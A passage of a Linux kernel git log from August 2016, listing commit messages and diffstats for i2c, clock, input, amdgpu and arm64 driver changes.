Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/i2c-core.c | 99 ++++++++++++++++++++++++++++++++++++++++++++------ include/linux/i2c.h | 9 +++++ 2 files changed, 97 insertions(+), 11 deletions(-) commit aec809fc63f61a85e4300bb70081fbe6b492171c Author: Jarkko Nikula Date: Fri Aug 12 17:02:52 2016 +0300 i2c: core: Cleanup I2C ACPI namespace, take 2 I2C ACPI enumeration was originally implemented in another module under drivers/acpi/ but was later moved into i2c-core with added support for I2C ACPI operation region. Rename these acpi_i2c_ prefixed functions, structures and defines in i2c-core to i2c_acpi_ in order to have more consistent name space. This is updated version from commit a7003b65801e ("i2c: core: Cleanup I2C ACPI namespace") that got reverted due merge conflicts from commit 525e6fabeae2 ("i2c / ACPI: add support for ACPI reconfigure notifications"). Signed-off-by: Jarkko Nikula Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/i2c-core.c | 86 +++++++++++++++++++++++++------------------------- 1 file changed, 43 insertions(+), 43 deletions(-) commit b6e67145f14903ca430e011db3b771d8de4c3d8a Author: Weifeng Voon Date: Fri Aug 12 17:02:51 2016 +0300 i2c: designware: Enable high speed mode This patch enabled high speed mode. High speed mode can be turn on by setting the clk_freq to 3400000. High speed HCNT and LCNT are needed as there is no default value provided. Signed-off-by: Weifeng Voon Signed-off-by: Jarkko Nikula Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 26 +++++++++++++++++++++++++- drivers/i2c/busses/i2c-designware-core.h | 1 + drivers/i2c/busses/i2c-designware-platdrv.c | 16 +++++++++++----- 3 files changed, 37 insertions(+), 6 deletions(-) commit 548e6695d16d201f390f7554ae7d0b5bb8690166 Author: Weifeng Voon Date: Fri Aug 12 17:02:50 2016 +0300 i2c: designware: set the common config before the if else DW_IC_CON_MASTER, DW_IC_CON_SLAVE_DISABLE and DW_IC_CON_RESTART_EN are common config that need to be set for i2c designware master. So, configure it first without having to repeat inside the if else. Signed-off-by: Weifeng Voon Signed-off-by: Jarkko Nikula Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-platdrv.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit d608c3d9ac818fc0addc884144c7550e03b0fc6f Author: Weifeng Voon Date: Fri Aug 12 17:02:49 2016 +0300 i2c: designware: Enable fast mode plus This patch enabled fast mode plus. The fast mode plus and fast speed share the same HCNT and LCNT register. So, the fast mode plus will only run when the HCNT and LCNT value is provided. Else, it will run at fast speed as default. Signed-off-by: Weifeng Voon Signed-off-by: Jarkko Nikula Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 7 +++++-- drivers/i2c/busses/i2c-designware-platdrv.c | 9 ++++++--- 2 files changed, 11 insertions(+), 5 deletions(-) commit a92ec1746f10e339220bf186c4f6cce531b8a7ee Author: Weifeng Voon Date: Fri Aug 12 17:02:48 2016 +0300 i2c: designware: get fast plus and high speed *CNT configuration I2C designware controller can run at fast mode plus and high speed. This patch adds the capability to get the HCNT, LCNT configuration via FPCN (fast plus) and HSCN (high speed) ACPI method. Signed-off-by: Weifeng Voon Signed-off-by: Jarkko Nikula Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.h | 8 ++++++++ drivers/i2c/busses/i2c-designware-platdrv.c | 2 ++ 2 files changed, 10 insertions(+) commit 19c0a5399fe46218c2b5a5c17a01cf60f91ff5ae Author: Weifeng Voon Date: Fri Aug 12 17:02:47 2016 +0300 i2c: designware: Move clk_freq into struct dw_i2c_dev I2c designware controller operate speed is configured in the register IC_CON. Previously the operate speed is determined by a local variable clk_freq. This patch will move the local variable clk_freq into struct dw_i2c_dev. This change will ease the set and get of the clk_freq. Signed-off-by: Weifeng Voon Signed-off-by: Jarkko Nikula Reviewed-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.h | 2 ++ drivers/i2c/busses/i2c-designware-platdrv.c | 12 ++++++------ 2 files changed, 8 insertions(+), 6 deletions(-) commit f9484852567987158545523d6d6325d9cdf482b1 Author: Jan Glauber Date: Wed Aug 24 23:25:49 2016 +0200 i2c: octeon: thunderx: Add MAINTAINERS entry The i2c Octeon and ThunderX drivers are maintained by Cavium. While at it fix the whitespace errors of the next entry. Signed-off-by: Jan Glauber Acked-by: David Daney Signed-off-by: Wolfram Sang MAINTAINERS | 8 ++++++++ 1 file changed, 8 insertions(+) commit eefbfe011f68a6efcdeb244bf9f917499069daab Author: Jan Glauber Date: Wed Aug 24 23:25:48 2016 +0200 i2c: octeon: Use booleon values for booleon variables Initialize booleon values with true instead of 1. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit caa505f20df01b326ca99dcace0c4656298d94f3 Author: Jan Glauber Date: Wed Aug 24 23:25:47 2016 +0200 i2c: octeon: Sort include files alphabetically Sort include files alphabetically to reduce probability of merge conflicts. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-platdrv.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 97d970046a15bf5baac849dbeac56310c8ee3966 Author: Jan Glauber Date: Wed Aug 24 23:25:46 2016 +0200 i2c: octeon,thunderx: Move register offsets to struct The register offsets are different between Octeon and ThunderX so move them into the algorithm struct and get rid of the define. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-core.c | 28 ++++++++++++------------- drivers/i2c/busses/i2c-octeon-core.h | 35 ++++++++++++++++---------------- drivers/i2c/busses/i2c-octeon-platdrv.c | 4 ++++ drivers/i2c/busses/i2c-thunderx-pcidrv.c | 4 ++++ 4 files changed, 40 insertions(+), 31 deletions(-) commit 1e5866711accf16e931c4f8174cf898b554e9f4a Author: Jan Glauber Date: Wed Aug 24 23:25:45 2016 +0200 i2c: thunderx: Add SMBUS alert support Add SMBUS alert interrupt support. For now only device tree is supported for specifying the alert. In case of ACPI an error is returned. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/Kconfig | 1 + drivers/i2c/busses/i2c-octeon-core.h | 3 +++ drivers/i2c/busses/i2c-thunderx-pcidrv.c | 46 ++++++++++++++++++++++++++++++++ 3 files changed, 50 insertions(+) commit 22d40209de3bb50cbffcc6b79f2f7c5d689d185f Author: Jan Glauber Date: Wed Aug 24 23:25:44 2016 +0200 i2c: thunderx: Add i2c driver for ThunderX SOC The ThunderX SOC uses the same i2c block as the Octeon SOC. The main difference is that on ThunderX the device is a PCI device so device probing is done via PCI, interrupts are MSI-X. The clock rates can be set via device tree or ACPI. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/Kconfig | 10 ++ drivers/i2c/busses/Makefile | 2 + drivers/i2c/busses/i2c-octeon-core.h | 16 ++- drivers/i2c/busses/i2c-thunderx-pcidrv.c | 209 +++++++++++++++++++++++++++++++ 4 files changed, 234 insertions(+), 3 deletions(-) commit ad83665b4687f5a4456009487af1ea640b9b1b1b Author: Jan Glauber Date: Wed Aug 24 23:25:43 2016 +0200 i2c: octeon: Split the driver into two parts Move common functionality into a separate file in preparation of the re-use from the ThunderX i2c driver. Functions are slightly re-ordered but no other changes are included. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/Makefile | 3 +- drivers/i2c/busses/i2c-octeon-core.c | 810 ++++++++++++++++++++++++++ drivers/i2c/busses/i2c-octeon-core.h | 197 +++++++ drivers/i2c/busses/i2c-octeon-platdrv.c | 973 +------------------------------- 4 files changed, 1010 insertions(+), 973 deletions(-) commit 68af512a74481d579443f3c81e7a017d06f677c2 Author: Jan Glauber Date: Wed Aug 24 23:25:42 2016 +0200 i2c: octeon: Rename driver to prepare for split This is an intermediate commit in preparation of the driver split. The module rename in this commit will be reverted in the next patch, this is just done to make the series bisectible. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/Makefile | 2 +- drivers/i2c/busses/i2c-octeon-platdrv.c | 1253 +++++++++++++++++++++++++++++++ drivers/i2c/busses/i2c-octeon.c | 1253 ------------------------------- 3 files changed, 1254 insertions(+), 1254 deletions(-) commit d7b843df13ea3a19580bf5eb109b1fa5a89a338c Author: Icenowy Zheng Date: Tue Aug 23 21:55:46 2016 +0800 ARM: dts: sun8i: add NAND controller node for A23/A33 A23/A33 has a NAND controller which can now be used properly. Add a device node for it. The DMA function cannot work because of changed DMA IP block, so it's temporarily removed in the device node. However, with PIO mode it can still work. Tested on an Aoson M751s tablet with Boris Brezillon's "mtd: nand: allow vendor specific detection/initialization" patchset, which is needed for the large-block MLC chip to be recognized correctly. ( http://lists.infradead.org/pipermail/linux-mtd/2016-June/068198.html ) Signed-off-by: Icenowy Zheng Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a23-a33.dtsi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit f6c1d359be6bb0aa0715b4b75d9ecf63bdb07c4a Author: Heiko Carstens Date: Tue Aug 16 10:31:10 2016 +0200 KVM: s390: generate facility mask from readable list Automatically generate the KVM facility mask out of a readable list. Manually changing the masks is very error prone, especially if the special IBM bit numbering has to be considered. Signed-off-by: Heiko Carstens Reviewed-by: Christian Borntraeger Signed-off-by: Christian Borntraeger arch/s390/include/asm/facilities_src.h | 24 ++++++++++++++++++++++++ arch/s390/kvm/kvm-s390.c | 5 +---- 2 files changed, 25 insertions(+), 4 deletions(-) commit c6e6c96d8fa6f21e80e625bdf56c9ef580f43acb Author: Chen-Yu Tsai Date: Thu Aug 25 14:21:59 2016 +0800 clk: sunxi-ng: Add A31/A31s clocks Add a new style driver for the clock control unit in Allwinner A31/A31s. A few clocks are still missing: - MIPI PLL's HDMI mode support - EMAC clock Signed-off-by: Chen-Yu Tsai Acked-by: Rob Herring Signed-off-by: Maxime Ripard .../devicetree/bindings/clock/sunxi-ccu.txt | 3 +- drivers/clk/sunxi-ng/Kconfig | 10 + drivers/clk/sunxi-ng/Makefile | 1 + drivers/clk/sunxi-ng/ccu-sun6i-a31.c | 1235 ++++++++++++++++++++ drivers/clk/sunxi-ng/ccu-sun6i-a31.h | 72 ++ include/dt-bindings/clock/sun6i-a31-ccu.h | 187 +++ include/dt-bindings/reset/sun6i-a31-ccu.h | 106 ++ 7 files changed, 1613 insertions(+), 1 deletion(-) commit 8adfb08605a99d742853ff8cf4da5bc68db2028a Author: Chen-Yu Tsai Date: Thu Aug 25 14:21:58 2016 +0800 clk: sunxi-ng: mux: Add clk notifier functions On sunxi we support cpufreq by changing the clock rate of PLL-CPU. It's possible the clock output of the PLL goes out of the CPU's operational limits when the PLL's multipliers / dividers are changed and it hasn't stabilized yet. This would result in the CPU hanging. To circumvent this, we temporarily switch the CPU mux clock to another stable clock before the rate change, and switch it back after the PLL stabilizes. This is done with clk notifiers registered on the PLL. This patch adds common functions for notifiers to reparent mux clocks. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu_mux.c | 36 ++++++++++++++++++++++++++++++++++++ drivers/clk/sunxi-ng/ccu_mux.h | 14 ++++++++++++++ 2 files changed, 50 insertions(+) commit ff5294db4161d7121c0251527d6ea2f1f9c91854 Author: Chen-Yu Tsai Date: Thu Aug 25 14:21:57 2016 +0800 clk: sunxi-ng: mux: support fixed pre-dividers on multiple parents Some clocks on the A31 have fixed pre-dividers on multiple parents. Add support for them. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu-sun8i-h3.c | 10 +++++----- drivers/clk/sunxi-ng/ccu_mux.c | 6 ++++-- drivers/clk/sunxi-ng/ccu_mux.h | 11 +++++++---- 3 files changed, 16 insertions(+), 11 deletions(-) commit 2b9c875c56f0bec92b301061fe3c2adb5e098b36 Author: Chen-Yu Tsai Date: Thu Aug 25 14:21:56 2016 +0800 clk: sunxi-ng: mux: Add support for mux tables Some clock muxes have holes, i.e. invalid or unconnected inputs, between parent mux values. Add support for specifying a mux table to map clock parents to mux values. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu_mux.c | 12 ++++++++++++ drivers/clk/sunxi-ng/ccu_mux.h | 17 +++++++++++------ 2 files changed, 23 insertions(+), 6 deletions(-) commit 89af85253c32b67898c0f8bb06fe6e790e62846f Author: Maxime Ripard Date: Wed Jul 20 23:45:35 2016 +0200 clk: sunxi-ng: mux: Rename mux macro to be consistent Rename the internal mux macro to be consistent with the other internal structure macros. Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu_div.h | 2 +- drivers/clk/sunxi-ng/ccu_mp.h | 2 +- drivers/clk/sunxi-ng/ccu_mux.h | 6 +++--- drivers/clk/sunxi-ng/ccu_nkm.h | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) commit 8a191a7ad4ca9022bb838387b20d3de6acc88b72 Author: Peter Rosin Date: Sat Jul 9 21:21:15 2016 +0200 i2c: pca954x: add device tree binding No longer rely on the implicit matching with the i2c device name, use an explicit compatible string instead. Keep a direct pointer to the chip description instead of an index into the chip description array. Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin drivers/i2c/muxes/i2c-mux-pca954x.c | 46 +++++++++++++++++++++++++++---------- 1 file changed, 34 insertions(+), 12 deletions(-) commit a1cbf338abaf4d340b7aee1d8255e20462d11e70 Author: Peter Rosin Date: Sat Jul 9 20:30:58 2016 +0200 i2c: pca9541: add device tree binding No longer rely on the implicit matching with the i2c device name, use an explicit compatible string instead. Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin drivers/i2c/muxes/i2c-mux-pca9541.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 40839590f868d77ab8f84ac6e1b1297f553e3dea Author: Peter Rosin Date: Thu Aug 11 16:49:54 2016 +0200 i2c: mux: inform the i2c mux core about how it is used The i2c mux core can then take appropriate action depending on if it is used for an actual i2c mux, for a gate or for an arbitrator (the last is the case for these drivers). This adds support for the new clearer and more compact devicetree bindings that was added recently. Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin drivers/i2c/muxes/i2c-arb-gpio-challenge.c | 2 +- drivers/i2c/muxes/i2c-mux-pca9541.c | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) commit b2d57b56047b99f2992fc958d7ac5ead283e9088 Author: Peter Rosin Date: Sat Jul 9 21:53:42 2016 +0200 i2c: mux: add support for 'i2c-mux', 'i2c-arb' and 'i2c-gate' DT subnodes Backwards compatibility is preserved; the subnodes are in practice optional. However, the mux core needs to know what subnode it should examine, so add a couple of new flags for i2c_mux_alloc for this purpose. The rule is that if the mux core finds a 'reg' property in the appropriate subnode, e.g. if 'reg' exists in the 'i2c-mux' subnode, then the mux core will assume that this is an old style entry and not an i2c-mux subnode (correspondingly for arbitrators and gates with 'i2c-arb' and 'i2c-gate'). Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin drivers/i2c/i2c-mux.c | 44 ++++++++++++++++++++++++++++++++++++-------- include/linux/i2c-mux.h | 8 ++++++-- 2 files changed, 42 insertions(+), 10 deletions(-) commit 8f7720b950cf42d316fe5b625867e163a260a83c Author: Peter Rosin Date: Mon Jun 27 12:01:30 2016 +0200 dt-bindings: i2c: add bindings for nxp,pca9541 Fill the gap for this pre-existing driver. Acked-by: Rob Herring Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin .../devicetree/bindings/i2c/nxp,pca9541.txt | 29 ++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit 0ac8eb6452e128abd7af08e5d4a38768833da0ca Author: Peter Rosin Date: Fri Jul 8 12:13:49 2016 +0200 dt-bindings: i2c: add support for 'i2c-gate' subnode Handle i2c gates similarly to how i2c arbitrators are handled. This gets rid of a pointless 'reg' property for i2c gates. I.e. this new and more compact style some-gate { i2c-gate { #address-cells = <1>; #size-cells = <0>; some-i2c-device@50 { reg = <0x50>; }; }; }; instead of the old some-gate { #address-cells = <1>; #size-cells = <0>; i2c@0 { reg = <0>; #address-cells = <1>; #size-cells = <0>; some-i2c-device@50 { reg = <0x50>; }; }; }; Acked-by: Rob Herring Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin Documentation/devicetree/bindings/i2c/i2c-gate.txt | 41 ++++++++++++++++++++++ MAINTAINERS | 1 + 2 files changed, 42 insertions(+) commit e8813c15be0a9e7f2c79c58d3329d92bcf056ecc Author: Peter Rosin Date: Fri Jul 8 12:12:17 2016 +0200 dt-bindings: i2c: add support for 'i2c-arb' subnode This gets rid of the need for a pointless 'reg' property for i2c arbitrators. I.e. this new and more compact style some-arbitrator { i2c-arb { #address-cells = <1>; #size-cells = <0>; some-i2c-device@50 { reg = <0x50>; }; }; }; instead of the old some-arbitrator { #address-cells = <1>; #size-cells = <0>; i2c@0 { reg = <0>; #address-cells = <1>; #size-cells = <0>; some-i2c-device@50 { reg = <0x50>; }; }; }; Acked-by: Rob Herring Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin .../bindings/i2c/i2c-arb-gpio-challenge.txt | 8 ++--- Documentation/devicetree/bindings/i2c/i2c-arb.txt | 35 ++++++++++++++++++++++ MAINTAINERS | 1 + 3 files changed, 38 insertions(+), 6 deletions(-) commit 374f8436ff3a450a2f95a0c1910a0b17212cede1 Author: Peter Rosin Date: Fri Jul 8 12:13:12 2016 +0200 dt-bindings: i2c: add support for 'i2c-mux' subnode Similar to the new optional 'i2c-bus' subnode from Jon Hunter, this adds an optional 'i2c-mux' subnode, for similar reasons. I.e. it is bad of the i2c mux core to assume that any subnode of an i2c mux device is a potential (when the 'reg' property matches) i2c-mux child bus, given that i2c mux devices might do more than mux i2c traffic. So, if an 'i2c-mux' subnode is present, dictate that all i2c-mux child buses exist beneath that subnode. Acked-by: Rob Herring Reviewed-by: Wolfram Sang Signed-off-by: Peter Rosin Documentation/devicetree/bindings/i2c/i2c-mux.txt | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) commit 5e23c593057520db45b089644863989d4b21e31f Author: Linus Walleij Date: Mon Aug 22 11:19:33 2016 +0200 clk: versatile/icst: add Integrator core module clocks The Integrator/AP and Integrator/CP have special derivatives of the ICST525 control registers, where some bits have been hardwired but others are possible to adjust, resulting in a control register that makes it possible to set an even, desired megahertz value. The Integrator/AP and Integrator/CP have slightly different layout so we support them using different compatible strings. After adding these clocks, the Integrator-specific cpufreq driver can be switched over to use the generic operating point device tree cpufreq driver. Instead of simply writing a value to the oscillator control register we switch to the more elaborate method of providing a bitmask and use regmap_update_bits() to poke the right bits for the desired frequency, this is needed since these control registers sometimes control more than one clock. Cc: Russell King Signed-off-by: Linus Walleij Signed-off-by: Stephen Boyd drivers/clk/versatile/clk-icst.c | 174 +++++++++++++++++++++++++++++++++++---- 1 file changed, 160 insertions(+), 14 deletions(-) commit 50581cc4f14f0f704b967cd4664a34d7644be816 Author: Linus Walleij Date: Mon Aug 22 11:19:32 2016 +0200 clk: versatile add DT bindings for the ICST CM variants The Integrator/AP and Integrator/CP core modules have special versions of the ICST525 interface hardcoding some bits. Create special compatible strings to identify these variants, also explain a bit what is going on. Cc: devicetree@vger.kernel.org Cc: Russell King Signed-off-by: Linus Walleij Acked-by: Rob Herring Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/arm-syscon-icst.txt | 34 ++++++++++++++++++++-- 1 file changed, 32 insertions(+), 2 deletions(-) commit 62d157587efa54487c32b3c2ca76979348e0b90a Author: Srinivas Kandagatla Date: Thu Aug 25 12:20:47 2016 +0100 clk: gcc-msm8996: add missing pcie phy reset lines This patch adds missing 2 PCIE common reset lines. Signed-off-by: Srinivas Kandagatla Signed-off-by: Stephen Boyd drivers/clk/qcom/gcc-msm8996.c | 2 ++ include/dt-bindings/clock/qcom,gcc-msm8996.h | 3 +++ 2 files changed, 5 insertions(+) commit ce61966c05f276294b6be04d1765ad0d827ddefd Author: Srinivas Kandagatla Date: Thu Aug 25 12:20:46 2016 +0100 clk: gcc-msm8996: Fix pcie 2 pipe register offset This patch corrects the register offset for pcie2 pipe clock. Offset according to datasheet is 0x6e018 instead of 0x6e108. Signed-off-by: Srinivas Kandagatla Fixes: b1e010c0730a ("clk: qcom: Add MSM8996 Global Clock Control (GCC) driver") Signed-off-by: Stephen Boyd drivers/clk/qcom/gcc-msm8996.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6d91f2c0141330b919ae4d13395f38c341469564 Author: Srinivas Kandagatla Date: Thu Aug 25 12:28:07 2016 +0100 clk: qcom: select GDSC for msm8996 gcc and mmcc This patch selects QCOM_GDSC Kconfig for msm8996 GCC and MMCC clock controllers, as these provide some of the gdscs on the SOC. Also selecting this config will make it align with other drivers which do the same. Signed-off-by: Srinivas Kandagatla Fixes: 52111672f791 ("clk: qcom: gdsc: Add GDSCs in msm8996 GCC") Fixes: 7e824d507909 ("clk: qcom: gdsc: Add mmcc gdscs for msm8996 family") Signed-off-by: Stephen Boyd drivers/clk/qcom/Kconfig | 2 ++ 1 file changed, 2 insertions(+) commit 7c142bfee6cbcd90b1847a708e22d461a1dfa38b Author: Baoquan He Date: Wed Aug 24 13:06:45 2016 +0800 docs: kernel-parameter: Improve the description of nr_cpus and maxcpus From the old description people still can't get what's the exact difference between nr_cpus and maxcpus. Especially in kdump kernel nr_cpus is always suggested if it's implemented in the ARCH. The reason is nr_cpus is used to limit the max number of possible cpu in system, the sum of already plugged cpus and hot plug cpus can't exceed its value. However maxcpus is used to limit how many cpus are allowed to be brought up during bootup. Signed-off-by: Baoquan He Signed-off-by: Jonathan Corbet Documentation/kernel-parameters.txt | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit 6dcf0de7ef10244b17442f47956a1d9fabe2abe1 Author: Daniel Vetter Date: Tue Aug 23 08:25:40 2016 +0200 drm/simple-helpers: Always add planes to the state update Our update function is hooked to the single plane, which might not get called for crtc-only updates. Which is surprising, so fix this by always adding the plane. While at it document how&when the event should be sent out better in the kerneldoc. Cc: Noralf Trønnes Cc: andrea.merello@gmail.com Tested-and-Reported-by: andrea.merello@gmail.com Signed-off-by: Daniel Vetter Reviewed-by: Noralf Trønnes Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471933540-31131-1-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_simple_kms_helper.c | 7 +++++++ include/drm/drm_simple_kms_helper.h | 6 ++++++ 2 files changed, 13 insertions(+) commit 5c6f3225d00d06b2ca91c74644a7bfcfe826a935 Author: Michal Marek Date: Thu Aug 25 20:03:51 2016 +0200 kbuild: Regenerate genksyms lexer Update the lexer after 4fab91605a6b ("kbuild: genksyms fix for typeof handling"). Signed-off-by: Michal Marek scripts/genksyms/lex.lex.c_shipped | 35 +++++++++++++++++------------------ 1 file changed, 17 insertions(+), 18 deletions(-) commit 15f441db96adcac1dc86196b301f4204452bfe0c Author: Tom St Denis Date: Thu Aug 25 13:02:06 2016 -0400 drm/amd/amdgpu: Tidy up cz_dpm.c Various minor formatting changes. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cz_dpm.c | 31 +++++++++++-------------------- 1 file changed, 11 insertions(+), 20 deletions(-) commit e701f97ff34a3ec904c19d72a7ca81eed98d5ad9 Author: Tom St Denis Date: Thu Aug 25 12:41:15 2016 -0400 drm/amd/amdgpu: Clean up memory leak in cz_dpm_init(). If init fails free up any allocated memory. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cz_dpm.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit cc945ce3ab563d7dd7657510e1990f6f606c9b46 Author: Tom St Denis Date: Thu Aug 25 12:16:24 2016 -0400 drm/amd/amdgpu: Fix memleak in cz_parse_power_table() If one of the entries fails to be allocated then free all of the previous entries before freeing the array which holds their pointers. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cz_dpm.c | 2 ++ 1 file changed, 2 insertions(+) commit f959cd8c0eafe2bdaa9d0ec3e3da3b9451ad38aa Author: Martin Kepplinger Date: Thu Aug 25 09:41:38 2016 -0700 Input: pegasus_notetaker - directly include workqueue header According to the kernel's guidelines, let's directly include the workqueue functions we use. Signed-off-by: Martin Kepplinger Signed-off-by: Dmitry Torokhov drivers/input/tablet/pegasus_notetaker.c | 1 + 1 file changed, 1 insertion(+) commit bc1d57fe5ff7574e6cf1d53bd88edbd87e127420 Author: Johnny Chuang Date: Thu Aug 25 09:26:53 2016 -0700 Input: elants_i2c - get product id on recovery mode for FW update We use hw version to construct name of file holding touchscreen firmware, so let's try reading it even if touchscreen initialization fails (the firmware supports reading product/hardware id even when device is in recovery/boot mode). Signed-off-by: Johnny Chuang Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/elants_i2c.c | 31 ++++++++++++++++++++----------- 1 file changed, 20 insertions(+), 11 deletions(-) commit c9a3a7cf95d8429c5db0fc98758c21f8fefb38fa Author: Bhaktipriya Shridhar Date: Tue Aug 23 14:03:03 2016 -0700 Input: wm97xx - remove deprecated create_singletheread_workqueue alloc_ordered_workqueue() replaces deprecated create_singlethread_workqueue(). It queues work items via &wm->ts_reader and &wm->pen_event_work which map to wm97xx_pen_irq_worker (handles a pen down interrupt) and wm97xx_ts_reader (the touchscreen sample reader) respectively. Hence, an ordered dedicated workqueue has been used. Signed-off-by: Bhaktipriya Shridhar Acked-by: Charles Keepax Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/wm97xx-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 62e5147568968e0679ab413c7cb2ef35c8a0a4e3 Author: Bhaktipriya Shridhar Date: Tue Aug 23 13:47:03 2016 -0700 Input: mc13783_ts - remove deprecated create_singletheread_workqueue The workqueue "workqueue" has a single workitem(&priv->work) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Workitem is sync cancelled in mc13783_ts_remove() to ensure that there are no workitems pending when the driver is disconnected. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/mc13783_ts.c | 24 +++++++----------------- 1 file changed, 7 insertions(+), 17 deletions(-) commit 24dde60f564b1e2eb588761ba797c7b99a374860 Author: Bhaktipriya Shridhar Date: Tue Aug 23 13:46:22 2016 -0700 Input: psmouse - remove deprecated create_singletheread_workqueue alloc_ordered_workqueue() replaces the deprecated create_singlethread_workqueue(). There are multiple work items on the work queue viz &priv->dev3_register_work, &priv->recalib_wq, &psmouse->resync_work, which require execution ordering. Hence, an ordered workqueue has been used. The workqueue is not being used on a memory reclaim path. Hence, WQ_MEM_RECLAIM has not been set. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Dmitry Torokhov drivers/input/mouse/psmouse-base.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e7cd190385d17790cc3eb3821b1094b00aacf325 Author: AKASHI Takahiro Date: Mon Aug 22 15:55:24 2016 +0900 arm64: mark reserved memblock regions explicitly in iomem Kdump(kexec-tools) parses /proc/iomem to identify all the memory regions on the system. Since the current kernel names "nomap" regions, like UEFI runtime services code/data, as "System RAM," kexec-tools sets up elf core header to include them in a crash dump file (/proc/vmcore). Then crash dump kernel parses UEFI memory map again, re-marks those regions as "nomap" and does not create a memory mapping for them unlike the other areas of System RAM. In this case, copying /proc/vmcore through copy_oldmem_page() on crash dump kernel will end up with a kernel abort, as reported in [1]. This patch names all the "nomap" regions explicitly as "reserved" so that we can exclude them from a crash dump file. acpi_os_ioremap() must also be modified because those regions have WB attributes [2]. Apart from kdump, this change also matches x86's use of acpi (and /proc/iomem). [1] http://lists.infradead.org/pipermail/linux-arm-kernel/2016-August/448186.html [2] http://lists.infradead.org/pipermail/linux-arm-kernel/2016-August/450089.html Reviewed-by: Catalin Marinas Tested-by: James Morse Reviewed-by: James Morse Signed-off-by: AKASHI Takahiro Signed-off-by: Will Deacon arch/arm64/include/asm/acpi.h | 8 ++++++-- arch/arm64/kernel/setup.c | 9 +++++++-- 2 files changed, 13 insertions(+), 4 deletions(-) commit 5ebe3a44cc744d11cb60d8438106a9322b7c04dc Author: James Morse Date: Wed Aug 24 18:27:30 2016 +0100 arm64: hibernate: Support DEBUG_PAGEALLOC DEBUG_PAGEALLOC removes the valid bit of page table entries to prevent any access to unallocated memory. Hibernate uses this as a hint that those pages don't need to be saved/restored. This patch adds the kernel_page_present() function it uses. hibernate.c copies the resume kernel's linear map for use during restore. Add _copy_pte() to fill-in the holes made by DEBUG_PAGEALLOC in the resume kernel, so we can restore data the original kernel had at these addresses. Finally, DEBUG_PAGEALLOC means the linear-map alias of KERNEL_START to KERNEL_END may have holes in it, so we can't lazily clean this whole area to the PoC. Only clean the new mmuoff region, and the kernel/kvm idmaps. This reverts commit da24eb1f3f9e2c7b75c5f8c40d8e48e2c4789596. Reported-by: Will Deacon Signed-off-by: James Morse Cc: Catalin Marinas 